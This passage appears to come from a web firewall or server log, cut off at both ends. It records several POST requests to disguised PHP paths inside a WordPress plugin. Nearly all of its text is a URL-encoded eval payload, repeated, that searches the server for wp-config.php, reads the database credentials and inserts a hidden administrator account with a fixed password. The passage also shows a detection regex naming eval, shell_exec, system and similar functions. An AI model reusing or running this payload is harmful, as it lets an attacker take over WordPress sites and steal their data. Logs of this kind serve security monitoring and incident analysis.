20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));","POST \/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\ncontent-length:12663\nsec-fetch-mode:navigate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nsec-fetch-site:none\nsec-ch-ua-mobile:?0\naccept:*\/*\n\nphaqOW=eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));"]
["2026-04-20 17:21:50","213.209.159.254","POST","\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ybXJBY:eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));","POST \/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:12663\naccept:*\/*\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nybXJBY=eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%